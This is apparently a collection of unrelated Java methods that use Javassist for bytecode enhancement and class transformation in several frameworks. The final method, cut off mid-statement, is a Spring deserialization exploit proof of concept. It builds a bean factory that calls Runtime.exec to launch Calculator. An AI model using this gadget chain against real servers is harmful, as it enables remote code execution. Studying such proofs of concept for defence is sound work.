private void autoInjectGetSet(CtClass ctClass) throws Exception { // hibernate 可能需要 setter/getter 方法,好吧 我们为它添加这些方法 for (CtField ctField : ctClass.getDeclaredFields()) { if (isFinal(ctField) || isStatic(ctField) || ctField.hasAnnotation(Validate.class)) continue; // Property name String propertyName = ctField.getName().substring(0, 1).toUpperCase() + ctField.getName().substring(1); String getter = "get" + propertyName; String setter = "set" + propertyName; try { CtMethod ctMethod = ctClass.getDeclaredMethod(getter); if (ctMethod.getParameterTypes().length > 0 || Modifier.isStatic(ctMethod.getModifiers())) { throw new NotFoundException("it's not a getter !"); } } catch (NotFoundException noGetter) { String code = "public " + ctField.getType().getName() + " " + getter + "() { return this." + ctField.getName() + "; }"; CtMethod getMethod = CtMethod.make(code, ctClass); getMethod.setModifiers(getMethod.getModifiers() | AccessFlag.SYNTHETIC); ctClass.addMethod(getMethod); } try { CtMethod ctMethod = ctClass.getDeclaredMethod(setter); if (ctMethod.getParameterTypes().length != 1 || !ctMethod.getParameterTypes()[0].equals(ctField.getType()) || Modifier.isStatic(ctMethod.getModifiers())) { throw new NotFoundException("it's not a setter !"); } } catch (NotFoundException noSetter) { CtMethod setMethod = CtMethod.make( "public void " + setter + "(" + ctField.getType().getName() + " value) { this." + ctField.getName() + " = value; }", ctClass); setMethod.setModifiers(setMethod.getModifiers() | AccessFlag.SYNTHETIC); ctClass.addMethod(setMethod); } } ctClass.defrost(); }
static TypeParameterMatcher generate(Class<?> type, ClassLoader classLoader) { final String className = "io.netty.util.internal.__matchers__." + type.getName() + "Matcher"; try { try { return (TypeParameterMatcher) Class.forName(className, true, classLoader).newInstance(); } catch (Exception e) { // Not defined in the specified class loader. } CtClass c = classPool.getAndRename(NoOpTypeParameterMatcher.class.getName(), className); c.setModifiers(c.getModifiers() | Modifier.FINAL); c.getDeclaredMethod("match").setBody("{ return $1 instanceof " + type.getName() + "; }"); byte[] byteCode = c.toBytecode(); c.detach(); Method method = ClassLoader.class.getDeclaredMethod( "defineClass", String.class, byte[].class, int.class, int.class); method.setAccessible(true); Class<?> generated = (Class<?>) method.invoke(classLoader, className, byteCode, 0, byteCode.length); logger.debug("Generated: {}", generated.getName()); return (TypeParameterMatcher) generated.newInstance(); } catch (RuntimeException e) { throw e; } catch (Exception e) { throw new RuntimeException(e); } }
private void transformParameterizedGetMemcacheServiceMethod(CtClass clazz) throws NotFoundException, CannotCompileException { CtMethod method = clazz.getDeclaredMethod( "getMemcacheService", new CtClass[] {clazz.getClassPool().get("java.lang.String")}); method.setBody("return new org.jboss.capedwarf.memcache.InfinispanMemcacheService($1);"); }
private void findAndRemoveMethod(CtClass ctClass, String methodName) throws NotFoundException { try { CtMethod ctMethod = ctClass.getDeclaredMethod(methodName); ctClass.getClassFile().getMethods().remove(ctMethod.getMethodInfo()); } catch (Exception e) { } }
public static DialogFieldConfig getDialogFieldFromSuperClasses(CtMethod method) throws NotFoundException, ClassNotFoundException, InvalidComponentClassException { DialogFieldConfig dialogFieldConfig = null; List<CtClass> classes = new ArrayList<CtClass>(); CtClass clazz = method.getDeclaringClass(); classes.add(clazz); while (clazz.getSuperclass() != null) { classes.add(clazz.getSuperclass()); clazz = clazz.getSuperclass(); } Collections.reverse(classes); CtMember interfaceMember = getMemberForAnnotatedInterfaceMethod(method); if (interfaceMember != null) { dialogFieldConfig = new DialogFieldConfig( (DialogField) interfaceMember.getAnnotation(DialogField.class), interfaceMember); } for (CtClass ctclass : classes) { try { CtMethod superClassMethod = ctclass.getDeclaredMethod(method.getName(), method.getParameterTypes()); if (superClassMethod.hasAnnotation(DialogField.class)) { dialogFieldConfig = new DialogFieldConfig( (DialogField) superClassMethod.getAnnotation(DialogField.class), superClassMethod); } else if (superClassMethod.hasAnnotation(DialogFieldOverride.class)) { mergeDialogFields(dialogFieldConfig, superClassMethod); } } catch (NotFoundException e) { } } return dialogFieldConfig; }
private static CtMember getMemberForAnnotatedInterfaceMethod(CtMethod member) throws InvalidComponentClassException, ClassNotFoundException, NotFoundException { CtMethod newMember = null; List<CtClass> interfaces = new ArrayList<CtClass>(); CtClass clazz = member.getDeclaringClass(); while (clazz != null) { interfaces.addAll(Arrays.asList(clazz.getInterfaces())); clazz = clazz.getSuperclass(); } for (CtClass ctclass : interfaces) { try { CtMethod newMethodMember = ctclass.getDeclaredMethod(member.getName(), member.getParameterTypes()); DialogField tempDialogProperty = (DialogField) newMethodMember.getAnnotation(DialogField.class); if (tempDialogProperty != null) { if (newMember == null) { newMember = newMethodMember; } else { throw new InvalidComponentClassException( "Class has multiple interfaces that have the same method signature annotated"); } } } catch (NotFoundException e) { } } if (newMember != null) { member = newMember; } return newMember; }
@Override public void describeTo(StringBuilder stringBuilder) { ClosureUtil.SourceInfo sourceInfo = ClosureUtil.getSourceInfo(invoker.getClosure()); if (sourceInfo == null) { ClassPool pool = ClassPool.getDefault(); try { CtClass ctClass = pool.get(invoker.getClosure().getClass().getName()); CtMethod ctMethod = ctClass.getDeclaredMethod("doCall"); int lineNumber = ctMethod.getMethodInfo().getLineNumber(0); ClassFile classFile = ctClass.getClassFile(); String sourceFile = classFile.getSourceFile(); if (lineNumber != -1 && sourceFile != null) { stringBuilder .append("closure at line ") .append(lineNumber) .append(" of ") .append(sourceFile); } else { stringBuilder.append("closure ").append(invoker.getClosure().getClass().getName()); } } catch (NotFoundException e) { stringBuilder.append(invoker.getClosure().getClass().getName()); } } else { stringBuilder .append("closure at line ") .append(sourceInfo.getLineNumber()) .append(" of ") .append(sourceInfo.getUri()); } }
/** * Return whether or not the class has a method with the given name * * @param theClass the class to inspect * @param theName the name of the method to look for * @return true if the class contains the method, false otherwise */ private static boolean hasMethod(CtClass theClass, String theName) { try { return theClass.getDeclaredMethod(theName) != null && !Modifier.isAbstract(theClass.getDeclaredMethod(theName).getModifiers()); } catch (NotFoundException e) { try { if (theClass.getSuperclass() != null) { return hasMethod(theClass.getSuperclass(), theName); } else { return false; } } catch (NotFoundException e1) { return false; } } }
private void findAndRemoveMethod(CtClass ctClass, CtField ctField, String className) { try { CtMethod ctMethod = ctClass.getDeclaredMethod( ctField.getName(), new CtClass[] {ctClass.getClassPool().get(className)}); ctClass.getClassFile().getMethods().remove(ctMethod.getMethodInfo()); } catch (Exception e) { } }
private void transformGetAsyncMemcacheServiceMethod(CtClass clazz) throws NotFoundException, CannotCompileException { CtMethod method = clazz.getDeclaredMethod("getAsyncMemcacheService"); method.setBody("return new org.jboss.capedwarf.memcache.JBossAsyncMemcacheService();"); }
@Override public void enhanceThisClass(ApplicationClass applicationClass) throws Exception { final CtClass ctClass = makeClass(applicationClass); if (ctClass.isInterface()) { return; } if (ctClass.getName().endsWith(".package")) { return; } // Add a default constructor if needed try { boolean hasDefaultConstructor = false; for (CtConstructor constructor : ctClass.getDeclaredConstructors()) { if (constructor.getParameterTypes().length == 0) { hasDefaultConstructor = true; break; } } if (!hasDefaultConstructor && !ctClass.isInterface()) { CtConstructor defaultConstructor = CtNewConstructor.make("public " + ctClass.getSimpleName() + "() {}", ctClass); ctClass.addConstructor(defaultConstructor); } } catch (Exception e) { Logger.error(e, "Error in PropertiesEnhancer"); throw new UnexpectedException("Error in PropertiesEnhancer", e); } if (isScala(applicationClass)) { // Temporary hack for Scala. Done. applicationClass.enhancedByteCode = ctClass.toBytecode(); ctClass.defrost(); return; } for (CtField ctField : ctClass.getDeclaredFields()) { try { if (isProperty(ctField)) { // Property name String propertyName = ctField.getName().substring(0, 1).toUpperCase() + ctField.getName().substring(1); String getter = "get" + propertyName; String setter = "set" + propertyName; try { CtMethod ctMethod = ctClass.getDeclaredMethod(getter); if (ctMethod.getParameterTypes().length > 0 || Modifier.isStatic(ctMethod.getModifiers())) { throw new NotFoundException("it's not a getter !"); } } catch (NotFoundException noGetter) { // Créé le getter String code = "public " + ctField.getType().getName() + " " + getter + "() { return this." + ctField.getName() + "; }"; CtMethod getMethod = CtMethod.make(code, ctClass); getMethod.setModifiers(getMethod.getModifiers() | AccessFlag.SYNTHETIC); ctClass.addMethod(getMethod); } if (!isFinal(ctField)) { try { CtMethod ctMethod = ctClass.getDeclaredMethod(setter); if (ctMethod.getParameterTypes().length != 1 || !ctMethod.getParameterTypes()[0].equals(ctField.getType()) || Modifier.isStatic(ctMethod.getModifiers())) { throw new NotFoundException("it's not a setter !"); } } catch (NotFoundException noSetter) { // Créé le setter CtMethod setMethod = CtMethod.make( "public void " + setter + "(" + ctField.getType().getName() + " value) { this." + ctField.getName() + " = value; }", ctClass); setMethod.setModifiers(setMethod.getModifiers() | AccessFlag.SYNTHETIC); ctClass.addMethod(setMethod); createAnnotation(getAnnotations(setMethod), PlayPropertyAccessor.class); } } } } catch (Exception e) { Logger.error(e, "Error in PropertiesEnhancer"); throw new UnexpectedException("Error in PropertiesEnhancer", e); } } // Add a default constructor if needed try { boolean hasDefaultConstructor = false; for (CtConstructor constructor : ctClass.getDeclaredConstructors()) { if (constructor.getParameterTypes().length == 0) { hasDefaultConstructor = true; break; } } if (!hasDefaultConstructor) { CtConstructor defaultConstructor = CtNewConstructor.defaultConstructor(ctClass); ctClass.addConstructor(defaultConstructor); } } catch (Exception e) { Logger.error(e, "Error in PropertiesEnhancer"); throw new UnexpectedException("Error in PropertiesEnhancer", e); } // Intercept all fields access for (final CtBehavior ctMethod : ctClass.getDeclaredBehaviors()) { ctMethod.instrument( new ExprEditor() { @Override public void edit(FieldAccess fieldAccess) throws CannotCompileException { try { // Acces à une property ? if (isProperty(fieldAccess.getField())) { // TODO : vérifier que c'est bien un champ d'une classe de l'application // (fieldAccess.getClassName()) // Si c'est un getter ou un setter String propertyName = null; if (fieldAccess .getField() .getDeclaringClass() .equals(ctMethod.getDeclaringClass()) || ctMethod .getDeclaringClass() .subclassOf(fieldAccess.getField().getDeclaringClass())) { if ((ctMethod.getName().startsWith("get") || (!isFinal(fieldAccess.getField()) && ctMethod.getName().startsWith("set"))) && ctMethod.getName().length() > 3) { propertyName = ctMethod.getName().substring(3); propertyName = propertyName.substring(0, 1).toLowerCase() + propertyName.substring(1); } } // On n'intercepte pas le getter de sa propre property if (propertyName == null || !propertyName.equals(fieldAccess.getFieldName())) { String invocationPoint = ctClass.getName() + "." + ctMethod.getName() + ", line " + fieldAccess.getLineNumber(); if (fieldAccess.isReader()) { // Réécris l'accés en lecture à la property fieldAccess.replace( "$_ = ($r)play.classloading.enhancers.PropertiesEnhancer.FieldAccessor.invokeReadProperty($0, \"" + fieldAccess.getFieldName() + "\", \"" + fieldAccess.getClassName() + "\", \"" + invocationPoint + "\");"); } else if (!isFinal(fieldAccess.getField()) && fieldAccess.isWriter()) { // Réécris l'accés en ecriture à la property fieldAccess.replace( "play.classloading.enhancers.PropertiesEnhancer.FieldAccessor.invokeWriteProperty($0, \"" + fieldAccess.getFieldName() + "\", " + fieldAccess.getField().getType().getName() + ".class, $1, \"" + fieldAccess.getClassName() + "\", \"" + invocationPoint + "\");"); } } } } catch (Exception e) { throw new UnexpectedException("Error in PropertiesEnhancer", e); } } }); } // Done. applicationClass.enhancedByteCode = ctClass.toBytecode(); ctClass.defrost(); }
/** * Creates a map of concrete json request handler invokers keyed by <b><code> * <service-name>/<op-name></code></b>. * * @param handlerInstance The request handler instance to generate invokers for * @return the map of generated invokers */ public static Map<String, Map<String, AbstractJSONRequestHandlerInvoker>> createInvokers( Object handlerInstance) { if (handlerInstance == null) throw new IllegalArgumentException("The passed handlerInstance was null"); Map<String, AbstractJSONRequestHandlerInvoker> subInvokerMap = new HashMap<String, AbstractJSONRequestHandlerInvoker>(); Map<String, Map<String, AbstractJSONRequestHandlerInvoker>> invokerMap = invokerCache.get(handlerInstance.getClass()); if (invokerMap != null) { LOG.info("Found Cached Invokers for [{}]", handlerInstance.getClass().getName()); return invokerMap; } invokerMap = new HashMap<String, Map<String, AbstractJSONRequestHandlerInvoker>>(1); LOG.info("Generating Invokers for [{}]", handlerInstance.getClass().getName()); JSONRequestService svc = handlerInstance.getClass().getAnnotation(JSONRequestService.class); final String invokerServiceKey = svc.name(); final String invokerServiceDescription = svc.description(); invokerMap.put(invokerServiceKey, subInvokerMap); ClassPool cp = new ClassPool(); cp.appendClassPath(new ClassClassPath(handlerInstance.getClass())); cp.appendClassPath(new ClassClassPath(AbstractJSONRequestHandlerInvoker.class)); cp.importPackage(handlerInstance.getClass().getPackage().getName()); Set<ClassLoader> classPathsAdded = new HashSet<ClassLoader>(); Set<String> packagesImported = new HashSet<String>(); try { final CtClass jsonRequestCtClass = cp.get(JSONRequest.class.getName()); final CtClass parent = cp.get(AbstractJSONRequestHandlerInvoker.class.getName()); CtClass targetClass = cp.get(handlerInstance.getClass().getName()); Collection<Method> methods = getTargetMethods(handlerInstance.getClass()); for (Method m : methods) { final JSONRequestHandler jsonHandler = m.getAnnotation(JSONRequestHandler.class); final String opName = jsonHandler.name(); final String opDescription = jsonHandler.description(); final RequestType opType = jsonHandler.type(); int targetMethodHashCode = m.toGenericString().hashCode(); final String className = String.format( "%s-%s%s-%s-%s", handlerInstance.getClass().getName(), invokerServiceKey, opName, "ServiceInvoker", targetMethodHashCode); final CtClass invokerClass = cp.makeClass(className, parent); CtField ctf = new CtField(targetClass, "typedTarget", invokerClass); ctf.setModifiers(ctf.getModifiers() | Modifier.FINAL); invokerClass.addField(ctf); for (CtConstructor parentCtor : parent.getConstructors()) { CtConstructor invokerCtor = CtNewConstructor.copy(parentCtor, invokerClass, null); invokerCtor.setBody( "{ super($$); typedTarget = (" + handlerInstance.getClass().getName() + ")$1; }"); invokerClass.addConstructor(invokerCtor); } CtMethod invokerMethod = CtNewMethod.copy( parent.getDeclaredMethod("doInvoke", new CtClass[] {jsonRequestCtClass}), invokerClass, null); StringBuilder b = new StringBuilder("{this.typedTarget.").append(m.getName()).append("($1"); final Class<?>[] ptypes = m.getParameterTypes(); final int remainingParamCount = ptypes.length - 1; // Set<Class<?>> classPathsAdded = new HashSet<Class<?>>(); // Set<String> packagesImported = new HashSet<String>(); if (remainingParamCount > 0) { for (int i = 0; i < remainingParamCount; i++) { final Class<?> type = ptypes[i + 1]; if (type.getName().contains("UniqueIdType")) { System.err.println("Comin Up...."); } if (type.isPrimitive()) { b.append(", (").append(type.getName()).append(") null"); } else { if (classPathsAdded.add(type.getClassLoader())) { cp.appendClassPath(new LoaderClassPath(type.getClassLoader())); } try { Package p = type.getPackage(); if (p == null) { if (type.isArray()) { if (!type.getComponentType().isPrimitive()) { p = type.getComponentType().getPackage(); } } } if (type.isEnum()) { final String f = type.getEnclosingClass().getName() + "." + type.getSimpleName(); b.append(", (").append(f).append(") null"); String pack = type.getEnclosingClass().getPackage().getName(); if (packagesImported.add(pack)) { cp.importPackage(pack); } continue; } if (p != null) { if (packagesImported.add(p.getName())) { cp.importPackage(p.getName()); } } } catch (Exception ex) { ex.printStackTrace(System.err); } b.append(", (").append(type.getSimpleName()).append(") null"); } } } b.append(");}"); System.out.println("[" + m.getName() + "]: [" + b.toString() + "]"); // invokerMethod.setBody("{this.typedTarget." + m.getName() + "($1);}"); invokerMethod.setBody(b.toString()); invokerMethod.setModifiers(invokerMethod.getModifiers() & ~Modifier.ABSTRACT); invokerClass.addMethod(invokerMethod); // invokerClass.writeFile(System.getProperty("java.io.tmpdir") + File.separator + // "jsoninvokers"); Class<?> clazz = invokerClass.toClass( handlerInstance.getClass().getClassLoader(), handlerInstance.getClass().getProtectionDomain()); Constructor<?> ctor = clazz.getDeclaredConstructor( Object.class, String.class, String.class, String.class, String.class, RequestType.class); AbstractJSONRequestHandlerInvoker invokerInstance = (AbstractJSONRequestHandlerInvoker) ctor.newInstance( handlerInstance, invokerServiceKey, invokerServiceDescription, opName, opDescription, opType); subInvokerMap.put(opName, invokerInstance); } invokerCache.put(handlerInstance.getClass(), invokerMap); return invokerMap; } catch (Exception ex) { LOG.error( "Failed to create RequestHandlerInvoker for [{}]", handlerInstance.getClass().getName(), ex); throw new RuntimeException( "Failed to create RequestHandlerInvoker [" + handlerInstance.getClass().getName() + "]", ex); } }
@Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { // Be careful with Apache library usage in this class (e.g. ArrayUtils). Usage will likely cause // a ClassCircularityError // under JRebel. Favor not including outside libraries and unnecessary classes. CtClass clazz = null; try { boolean mySkipOverlaps = skipOverlaps; boolean myRenameMethodOverlaps = renameMethodOverlaps; String convertedClassName = className.replace('/', '.'); ClassPool classPool = null; String xformKey = convertedClassName; String[] xformVals = null; Boolean[] xformSkipOverlaps = null; Boolean[] xformRenameMethodOverlaps = null; if (!xformTemplates.isEmpty()) { if (xformTemplates.containsKey(xformKey)) { xformVals = xformTemplates.get(xformKey).split(","); classPool = ClassPool.getDefault(); clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false); } } else { if (annotationTransformedClasses.contains(convertedClassName)) { logger.warn( convertedClassName + " has already been transformed by a previous instance of DirectCopyTransfomer. " + "Skipping this annotation based transformation. Generally, annotation-based transformation is handled " + "by bean id blAnnotationDirectCopyClassTransformer with template tokens being added to " + "blDirectCopyTransformTokenMap via EarlyStageMergeBeanPostProcessor."); } boolean isValidPattern = true; List<DirectCopyIgnorePattern> matchedPatterns = new ArrayList<DirectCopyIgnorePattern>(); for (DirectCopyIgnorePattern pattern : ignorePatterns) { boolean isPatternMatch = false; for (String patternString : pattern.getPatterns()) { isPatternMatch = convertedClassName.matches(patternString); if (isPatternMatch) { break; } } if (isPatternMatch) { matchedPatterns.add(pattern); } isValidPattern = !(isPatternMatch && pattern.getTemplateTokenPatterns() == null); if (!isValidPattern) { return null; } } if (isValidPattern) { classPool = ClassPool.getDefault(); clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false); List<?> attributes = clazz.getClassFile().getAttributes(); Iterator<?> itr = attributes.iterator(); List<String> templates = new ArrayList<String>(); List<Boolean> skips = new ArrayList<Boolean>(); List<Boolean> renames = new ArrayList<Boolean>(); check: { while (itr.hasNext()) { Object object = itr.next(); if (AnnotationsAttribute.class.isAssignableFrom(object.getClass())) { AnnotationsAttribute attr = (AnnotationsAttribute) object; Annotation[] items = attr.getAnnotations(); for (Annotation annotation : items) { String typeName = annotation.getTypeName(); if (typeName.equals(DirectCopyTransform.class.getName())) { ArrayMemberValue arrayMember = (ArrayMemberValue) annotation.getMemberValue("value"); for (MemberValue arrayMemberValue : arrayMember.getValue()) { AnnotationMemberValue member = (AnnotationMemberValue) arrayMemberValue; Annotation memberAnnot = member.getValue(); ArrayMemberValue annot = (ArrayMemberValue) memberAnnot.getMemberValue("templateTokens"); for (MemberValue memberValue : annot.getValue()) { String val = ((StringMemberValue) memberValue).getValue(); if (val != null && templateTokens.containsKey(val)) { templateCheck: { for (DirectCopyIgnorePattern matchedPattern : matchedPatterns) { for (String ignoreToken : matchedPattern.getTemplateTokenPatterns()) { if (val.matches(ignoreToken)) { break templateCheck; } } } templates.add(templateTokens.get(val)); } } } BooleanMemberValue skipAnnot = (BooleanMemberValue) memberAnnot.getMemberValue("skipOverlaps"); if (skipAnnot != null) { skips.add(skipAnnot.getValue()); } else { skips.add(mySkipOverlaps); } BooleanMemberValue renameAnnot = (BooleanMemberValue) memberAnnot.getMemberValue("renameMethodOverlaps"); if (renameAnnot != null) { renames.add(renameAnnot.getValue()); } else { renames.add(myRenameMethodOverlaps); } } xformVals = templates.toArray(new String[templates.size()]); xformSkipOverlaps = skips.toArray(new Boolean[skips.size()]); xformRenameMethodOverlaps = renames.toArray(new Boolean[renames.size()]); break check; } } } } } } } if (xformVals != null && xformVals.length > 0) { logger.lifecycle( LifeCycleEvent.START, String.format( "Transform - Copying into [%s] from [%s]", xformKey, StringUtils.join(xformVals, ","))); // Load the destination class and defrost it so it is eligible for modifications clazz.defrost(); int index = 0; for (String xformVal : xformVals) { // Load the source class String trimmed = xformVal.trim(); classPool.appendClassPath(new LoaderClassPath(Class.forName(trimmed).getClassLoader())); CtClass template = classPool.get(trimmed); // Add in extra interfaces CtClass[] interfacesToCopy = template.getInterfaces(); for (CtClass i : interfacesToCopy) { checkInterfaces: { CtClass[] myInterfaces = clazz.getInterfaces(); for (CtClass myInterface : myInterfaces) { if (myInterface.getName().equals(i.getName())) { if (xformSkipOverlaps[index]) { break checkInterfaces; } else { throw new RuntimeException( "Duplicate interface detected " + myInterface.getName()); } } } logger.debug(String.format("Adding interface [%s]", i.getName())); clazz.addInterface(i); } } // copy over any EntityListeners ClassFile classFile = clazz.getClassFile(); ClassFile templateFile = template.getClassFile(); ConstPool constantPool = classFile.getConstPool(); buildClassLevelAnnotations(classFile, templateFile, constantPool); // Copy over all declared fields from the template class // Note that we do not copy over fields with the @NonCopiedField annotation CtField[] fieldsToCopy = template.getDeclaredFields(); for (CtField field : fieldsToCopy) { if (field.hasAnnotation(NonCopied.class)) { logger.debug(String.format("Not adding field [%s]", field.getName())); } else { try { CtField ctField = clazz.getDeclaredField(field.getName()); String originalSignature = ctField.getSignature(); String mySignature = field.getSignature(); if (!originalSignature.equals(mySignature)) { throw new IllegalArgumentException( "Field with name (" + field.getName() + ") and signature " + "(" + field.getSignature() + ") is targeted for weaving into (" + clazz.getName() + "). " + "An incompatible field of the same name and signature of (" + ctField.getSignature() + ") " + "already exists. The field in the target class should be updated to a different name, " + "or made to have a matching type."); } if (xformSkipOverlaps[index]) { logger.debug(String.format("Skipping overlapped field [%s]", field.getName())); continue; } } catch (NotFoundException e) { // do nothing -- field does not exist } logger.debug(String.format("Adding field [%s]", field.getName())); CtField copiedField = new CtField(field, clazz); boolean defaultConstructorFound = false; String implClass = getImplementationType(field.getType().getName()); // Look through all of the constructors in the implClass to see // if there is one that takes zero parameters try { CtConstructor[] implConstructors = classPool.get(implClass).getConstructors(); if (implConstructors != null) { for (CtConstructor cons : implConstructors) { if (cons.getParameterTypes().length == 0) { defaultConstructorFound = true; break; } } } } catch (NotFoundException e) { // Do nothing -- if we don't find this implementation, it's probably because it's // an array. In this case, we will not initialize the field. } if (defaultConstructorFound) { clazz.addField(copiedField, "new " + implClass + "()"); } else { clazz.addField(copiedField); } } } // Copy over all declared methods from the template class CtMethod[] methodsToCopy = template.getDeclaredMethods(); for (CtMethod method : methodsToCopy) { if (method.hasAnnotation(NonCopied.class)) { logger.debug(String.format("Not adding method [%s]", method.getName())); } else { try { CtClass[] paramTypes = method.getParameterTypes(); CtMethod originalMethod = clazz.getDeclaredMethod(method.getName(), paramTypes); if (xformSkipOverlaps[index]) { logger.debug( String.format( "Skipping overlapped method [%s]", methodDescription(originalMethod))); continue; } if (transformedMethods.contains(methodDescription(originalMethod))) { throw new RuntimeException( "Method already replaced " + methodDescription(originalMethod)); } else { logger.debug( String.format("Marking as replaced [%s]", methodDescription(originalMethod))); transformedMethods.add(methodDescription(originalMethod)); } logger.debug(String.format("Removing method [%s]", method.getName())); if (xformRenameMethodOverlaps[index]) { originalMethod.setName(renameMethodPrefix + method.getName()); } else { clazz.removeMethod(originalMethod); } } catch (NotFoundException e) { // Do nothing -- we don't need to remove a method because it doesn't exist } logger.debug(String.format("Adding method [%s]", method.getName())); CtMethod copiedMethod = new CtMethod(method, clazz, null); clazz.addMethod(copiedMethod); } } index++; } if (xformTemplates.isEmpty()) { annotationTransformedClasses.add(convertedClassName); } logger.lifecycle( LifeCycleEvent.END, String.format( "Transform - Copying into [%s] from [%s]", xformKey, StringUtils.join(xformVals, ","))); return clazz.toBytecode(); } } catch (ClassCircularityError error) { error.printStackTrace(); throw error; } catch (Exception e) { throw new RuntimeException("Unable to transform class", e); } finally { if (clazz != null) { clazz.detach(); } } return null; }
@Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { String convertedClassName = className.replace('/', '.'); if (xformTemplates.containsKey(convertedClassName)) { String xformKey = convertedClassName; String[] xformVals = xformTemplates.get(xformKey).split(","); logger.lifecycle( LifeCycleEvent.START, String.format( "Transform - Copying into [%s] from [%s]", xformKey, StringUtils.join(xformVals, ","))); try { // Load the destination class and defrost it so it is eligible for modifications ClassPool classPool = ClassPool.getDefault(); CtClass clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false); clazz.defrost(); for (String xformVal : xformVals) { // Load the source class String trimmed = xformVal.trim(); classPool.appendClassPath(new LoaderClassPath(Class.forName(trimmed).getClassLoader())); CtClass template = classPool.get(trimmed); // Add in extra interfaces CtClass[] interfacesToCopy = template.getInterfaces(); for (CtClass i : interfacesToCopy) { logger.debug(String.format("Adding interface [%s]", i.getName())); clazz.addInterface(i); } // Copy over all declared fields from the template class // Note that we do not copy over fields with the @NonCopiedField annotation CtField[] fieldsToCopy = template.getDeclaredFields(); for (CtField field : fieldsToCopy) { if (field.hasAnnotation(NonCopied.class)) { logger.debug(String.format("Not adding field [%s]", field.getName())); } else { logger.debug(String.format("Adding field [%s]", field.getName())); CtField copiedField = new CtField(field, clazz); boolean defaultConstructorFound = false; String implClass = getImplementationType(field.getType().getName()); // Look through all of the constructors in the implClass to see // if there is one that takes zero parameters try { CtConstructor[] implConstructors = classPool.get(implClass).getConstructors(); if (implConstructors != null) { for (CtConstructor cons : implConstructors) { if (cons.getParameterTypes().length == 0) { defaultConstructorFound = true; break; } } } } catch (NotFoundException e) { // Do nothing -- if we don't find this implementation, it's probably because it's // an array. In this case, we will not initialize the field. } if (defaultConstructorFound) { clazz.addField(copiedField, "new " + implClass + "()"); } else { clazz.addField(copiedField); } } } // Copy over all declared methods from the template class CtMethod[] methodsToCopy = template.getDeclaredMethods(); for (CtMethod method : methodsToCopy) { if (method.hasAnnotation(NonCopied.class)) { logger.debug(String.format("Not adding method [%s]", method.getName())); } else { try { CtClass[] paramTypes = method.getParameterTypes(); CtMethod originalMethod = clazz.getDeclaredMethod(method.getName(), paramTypes); if (transformedMethods.contains(methodDescription(originalMethod))) { throw new RuntimeException( "Method already replaced " + methodDescription(originalMethod)); } else { logger.debug( String.format("Marking as replaced [%s]", methodDescription(originalMethod))); transformedMethods.add(methodDescription(originalMethod)); } logger.debug(String.format("Removing method [%s]", method.getName())); clazz.removeMethod(originalMethod); } catch (NotFoundException e) { // Do nothing -- we don't need to remove a method because it doesn't exist } logger.debug(String.format("Adding method [%s]", method.getName())); CtMethod copiedMethod = new CtMethod(method, clazz, null); clazz.addMethod(copiedMethod); } } } logger.lifecycle( LifeCycleEvent.END, String.format( "Transform - Copying into [%s] from [%s]", xformKey, StringUtils.join(xformVals, ","))); return clazz.toBytecode(); } catch (Exception e) { throw new RuntimeException("Unable to transform class", e); } } return null; }
protected void transform(CtClass clazz) throws Exception { CtMethod method = clazz.getDeclaredMethod("createRawGcsService"); method.setBody( "{return com.google.appengine.tools.cloudstorage.dev.LocalRawGcsServiceFactory.createLocalRawGcsService();}"); }
public static void main(String[] arguments) { // Get a DefaultListableBeanFactory modified so it has no writeReplace() method // We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a // "attempted duplicate class definition for name" exception System.out.println( "[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method"); Object instrumentedFactory = null; ClassPool pool = ClassPool.getDefault(); try { pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader())); CtClass instrumentedClass = pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory"); // Call setSerialVersionUID before modifying a class to maintain serialization compatability. SerialVersionUID.setSerialVersionUID(instrumentedClass); CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace"); // method.insertBefore("{ System.out.println(\"TESTING\"); }"); method.setName("writeReplaceDisabled"); Class instrumentedFactoryClass = instrumentedClass.toClass(); instrumentedFactory = instrumentedFactoryClass.newInstance(); } catch (Exception e) { e.printStackTrace(); } // Modified BeanFactory DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory; // Create malicious bean definition programatically System.out.println("[+] Creating malicious bean definition programatically"); // First we will set up a bean created with a factory method (instead of using the constructor) // that will return a java.lang.Runtime // Runtime or ProcessBuilder are not serializable so we cannot use them for the // MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps // these objects as the server will instantiate them GenericBeanDefinition runtime = new GenericBeanDefinition(); runtime.setBeanClass(Runtime.class); runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static // Exploit bean to be registered in the bean factory as the target source GenericBeanDefinition payload = new GenericBeanDefinition(); // use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments, // and can't do that with the unserializable ConstructorArgumentValues payload.setBeanClass(MethodInvokingFactoryBean.class); payload.setScope("prototype"); payload.getPropertyValues().add("targetObject", runtime); payload.getPropertyValues().add("targetMethod", "exec"); payload .getPropertyValues() .add( "arguments", Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator")); beanFactory.registerBeanDefinition("exploit", payload); // Preparing BeanFactory to be serialized System.out.println("[+] Preparing BeanFactory to be serialized"); System.out.println("[+] Nullifying non-serializable members"); try { Field constructorArgumentValues = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues.setAccessible(true); constructorArgumentValues.set(payload, null); System.out.println( "[+] payload BeanDefinition constructorArgumentValues property should be null: " + payload.getConstructorArgumentValues()); Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides.setAccessible(true); methodOverrides.set(payload, null); System.out.println( "[+] payload BeanDefinition methodOverrides property should be null: " + payload.getMethodOverrides()); Field constructorArgumentValues2 = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues2.setAccessible(true); constructorArgumentValues2.set(runtime, null); System.out.println( "[+] runtime BeanDefinition constructorArgumentValues property should be null: " + runtime.getConstructorArgumentValues()); Field methodOverrides2 = 